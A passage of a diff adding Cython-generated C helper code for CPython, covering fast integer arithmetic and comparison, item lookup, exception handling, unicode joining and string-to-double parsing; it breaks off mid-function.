CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_MAYBE_UNUSED_VAR(inplace); + CYTHON_UNUSED_VAR(zerodivision_check); + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long x; + long a = PyInt_AS_LONG(op1); + + x = (long)((unsigned long)a + (unsigned long)b); + if (likely((x^a) >= 0 || (x^b) >= 0)) + return PyInt_FromLong(x); + return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + const long b = intval; + long a, x; +#ifdef HAVE_LONG_LONG + const PY_LONG_LONG llb = intval; + PY_LONG_LONG lla, llx; +#endif + if (unlikely(__Pyx_PyLong_IsZero(op1))) { + return __Pyx_NewRef(op2); + } + if (likely(__Pyx_PyLong_IsCompact(op1))) { + a = __Pyx_PyLong_CompactValue(op1); + } else { + const digit* digits = __Pyx_PyLong_Digits(op1); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(op1); + switch (size) { + case -2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 2: + if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { + a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 3: + if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { + a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case -4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + case 4: + if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { + a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); + break; + #ifdef HAVE_LONG_LONG + } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { + lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); + goto long_long; + #endif + } + CYTHON_FALLTHROUGH; + default: return PyLong_Type.tp_as_number->nb_add(op1, op2); + } + } + x = a + b; + return PyLong_FromLong(x); +#ifdef HAVE_LONG_LONG + long_long: + llx = lla + llb; + return PyLong_FromLongLong(llx); +#endif + + + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + double result; + + PyFPE_START_PROTECT("add", return NULL) + result = ((double)a) + (double)b; + PyFPE_END_PROTECT(result) + return PyFloat_FromDouble(result); + } + return (inplace ? PyNumber_InPlaceAdd : PyNumber_Add)(op1, op2); +} +#endif + +/* GetItemInt */ + static PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { + PyObject *r; + if (unlikely(!j)) return NULL; + r = PyObject_GetItem(o, j); + Py_DECREF(j); + return r; +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyList_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyList_GET_SIZE(o)))) { + PyObject *r = PyList_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + Py_ssize_t wrapped_i = i; + if (wraparound & unlikely(i < 0)) { + wrapped_i += PyTuple_GET_SIZE(o); + } + if ((!boundscheck) || likely(__Pyx_is_valid_index(wrapped_i, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, wrapped_i); + Py_INCREF(r); + return r; + } + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +#else + return PySequence_GetItem(o, i); +#endif +} +static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, + CYTHON_NCP_UNUSED int wraparound, + CYTHON_NCP_UNUSED int boundscheck) { +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS + if (is_list || PyList_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); + if ((!boundscheck) || (likely(__Pyx_is_valid_index(n, PyList_GET_SIZE(o))))) { + PyObject *r = PyList_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } + else if (PyTuple_CheckExact(o)) { + Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); + if ((!boundscheck) || likely(__Pyx_is_valid_index(n, PyTuple_GET_SIZE(o)))) { + PyObject *r = PyTuple_GET_ITEM(o, n); + Py_INCREF(r); + return r; + } + } else { + PyMappingMethods *mm = Py_TYPE(o)->tp_as_mapping; + PySequenceMethods *sm = Py_TYPE(o)->tp_as_sequence; + if (mm && mm->mp_subscript) { + PyObject *r, *key = PyInt_FromSsize_t(i); + if (unlikely(!key)) return NULL; + r = mm->mp_subscript(o, key); + Py_DECREF(key); + return r; + } + if (likely(sm && sm->sq_item)) { + if (wraparound && unlikely(i < 0) && likely(sm->sq_length)) { + Py_ssize_t l = sm->sq_length(o); + if (likely(l >= 0)) { + i += l; + } else { + if (!PyErr_ExceptionMatches(PyExc_OverflowError)) + return NULL; + PyErr_Clear(); + } + } + return sm->sq_item(o, i); + } + } +#else + if (is_list || !PyMapping_Check(o)) { + return PySequence_GetItem(o, i); + } +#endif + return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); +} + +/* ObjectGetItem */ + #if CYTHON_USE_TYPE_SLOTS +static PyObject *__Pyx_PyObject_GetIndex(PyObject *obj, PyObject *index) { + PyObject *runerr = NULL; + Py_ssize_t key_value; + key_value = __Pyx_PyIndex_AsSsize_t(index); + if (likely(key_value != -1 || !(runerr = PyErr_Occurred()))) { + return __Pyx_GetItemInt_Fast(obj, key_value, 0, 1, 1); + } + if (PyErr_GivenExceptionMatches(runerr, PyExc_OverflowError)) { + __Pyx_TypeName index_type_name = __Pyx_PyType_GetName(Py_TYPE(index)); + PyErr_Clear(); + PyErr_Format(PyExc_IndexError, + "cannot fit '" __Pyx_FMT_TYPENAME "' into an index-sized integer", index_type_name); + __Pyx_DECREF_TypeName(index_type_name); + } + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem_Slow(PyObject *obj, PyObject *key) { + __Pyx_TypeName obj_type_name; + if (likely(PyType_Check(obj))) { + PyObject *meth = __Pyx_PyObject_GetAttrStrNoError(obj, __pyx_n_s_class_getitem); + if (!meth) { + PyErr_Clear(); + } else { + PyObject *result = __Pyx_PyObject_CallOneArg(meth, key); + Py_DECREF(meth); + return result; + } + } + obj_type_name = __Pyx_PyType_GetName(Py_TYPE(obj)); + PyErr_Format(PyExc_TypeError, + "'" __Pyx_FMT_TYPENAME "' object is not subscriptable", obj_type_name); + __Pyx_DECREF_TypeName(obj_type_name); + return NULL; +} +static PyObject *__Pyx_PyObject_GetItem(PyObject *obj, PyObject *key) { + PyTypeObject *tp = Py_TYPE(obj); + PyMappingMethods *mm = tp->tp_as_mapping; + PySequenceMethods *sm = tp->tp_as_sequence; + if (likely(mm && mm->mp_subscript)) { + return mm->mp_subscript(obj, key); + } + if (likely(sm && sm->sq_item)) { + return __Pyx_PyObject_GetIndex(obj, key); + } + return __Pyx_PyObject_GetItem_Slow(obj, key); +} +#endif + +/* DictGetItem */ + #if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY +static PyObject *__Pyx_PyDict_GetItem(PyObject *d, PyObject* key) { + PyObject *value; + value = PyDict_GetItemWithError(d, key); + if (unlikely(!value)) { + if (!PyErr_Occurred()) { + if (unlikely(PyTuple_Check(key))) { + PyObject* args = PyTuple_Pack(1, key); + if (likely(args)) { + PyErr_SetObject(PyExc_KeyError, args); + Py_DECREF(args); + } + } else { + PyErr_SetObject(PyExc_KeyError, key); + } + } + return NULL; + } + Py_INCREF(value); + return value; +} +#endif + +/* PyIntCompare */ + static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace) { + CYTHON_MAYBE_UNUSED_VAR(intval); + CYTHON_UNUSED_VAR(inplace); + if (op1 == op2) { + return 1; + } + #if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(op1))) { + const long b = intval; + long a = PyInt_AS_LONG(op1); + return (a == b); + } + #endif + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(PyLong_CheckExact(op1))) { + int unequal; + unsigned long uintval; + Py_ssize_t size = __Pyx_PyLong_DigitCount(op1); + const digit* digits = __Pyx_PyLong_Digits(op1); + if (intval == 0) { + return (__Pyx_PyLong_IsZero(op1) == 1); + } else if (intval < 0) { + if (__Pyx_PyLong_IsNonNeg(op1)) + return 0; + intval = -intval; + } else { + if (__Pyx_PyLong_IsNeg(op1)) + return 0; + } + uintval = (unsigned long) intval; +#if PyLong_SHIFT * 4 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 4)) { + unequal = (size != 5) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[4] != ((uintval >> (4 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 3 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 3)) { + unequal = (size != 4) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[3] != ((uintval >> (3 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 2 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 2)) { + unequal = (size != 3) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)) | (digits[2] != ((uintval >> (2 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif +#if PyLong_SHIFT * 1 < SIZEOF_LONG*8 + if (uintval >> (PyLong_SHIFT * 1)) { + unequal = (size != 2) || (digits[0] != (uintval & (unsigned long) PyLong_MASK)) + | (digits[1] != ((uintval >> (1 * PyLong_SHIFT)) & (unsigned long) PyLong_MASK)); + } else +#endif + unequal = (size != 1) || (((unsigned long) digits[0]) != (uintval & (unsigned long) PyLong_MASK)); + return (unequal == 0); + } + #endif + if (PyFloat_CheckExact(op1)) { + const long b = intval; +#if CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* UnicodeConcatInPlace */ + # if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 +static int +__Pyx_unicode_modifiable(PyObject *unicode) +{ + if (Py_REFCNT(unicode) != 1) + return 0; + if (!PyUnicode_CheckExact(unicode)) + return 0; + if (PyUnicode_CHECK_INTERNED(unicode)) + return 0; + return 1; +} +static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ) { + PyObject *left = *p_left; + Py_ssize_t left_len, right_len, new_len; + if (unlikely(__Pyx_PyUnicode_READY(left) == -1)) + return NULL; + if (unlikely(__Pyx_PyUnicode_READY(right) == -1)) + return NULL; + left_len = PyUnicode_GET_LENGTH(left); + if (left_len == 0) { + Py_INCREF(right); + return right; + } + right_len = PyUnicode_GET_LENGTH(right); + if (right_len == 0) { + Py_INCREF(left); + return left; + } + if (unlikely(left_len > PY_SSIZE_T_MAX - right_len)) { + PyErr_SetString(PyExc_OverflowError, + "strings are too large to concat"); + return NULL; + } + new_len = left_len + right_len; + if (__Pyx_unicode_modifiable(left) + && PyUnicode_CheckExact(right) + && PyUnicode_KIND(right) <= PyUnicode_KIND(left) + && !(PyUnicode_IS_ASCII(left) && !PyUnicode_IS_ASCII(right))) { + int ret; + __Pyx_GIVEREF(*p_left); + ret = PyUnicode_Resize(p_left, new_len); + __Pyx_GOTREF(*p_left); + if (unlikely(ret != 0)) + return NULL; + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(*p_left, left_len, right, 0, right_len) < 0)) return NULL; + #else + _PyUnicode_FastCopyCharacters(*p_left, left_len, right, 0, right_len); + #endif + __Pyx_INCREF(*p_left); + __Pyx_GIVEREF(*p_left); + return *p_left; + } else { + return __Pyx_PyUnicode_Concat(left, right); + } + } +#endif + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + 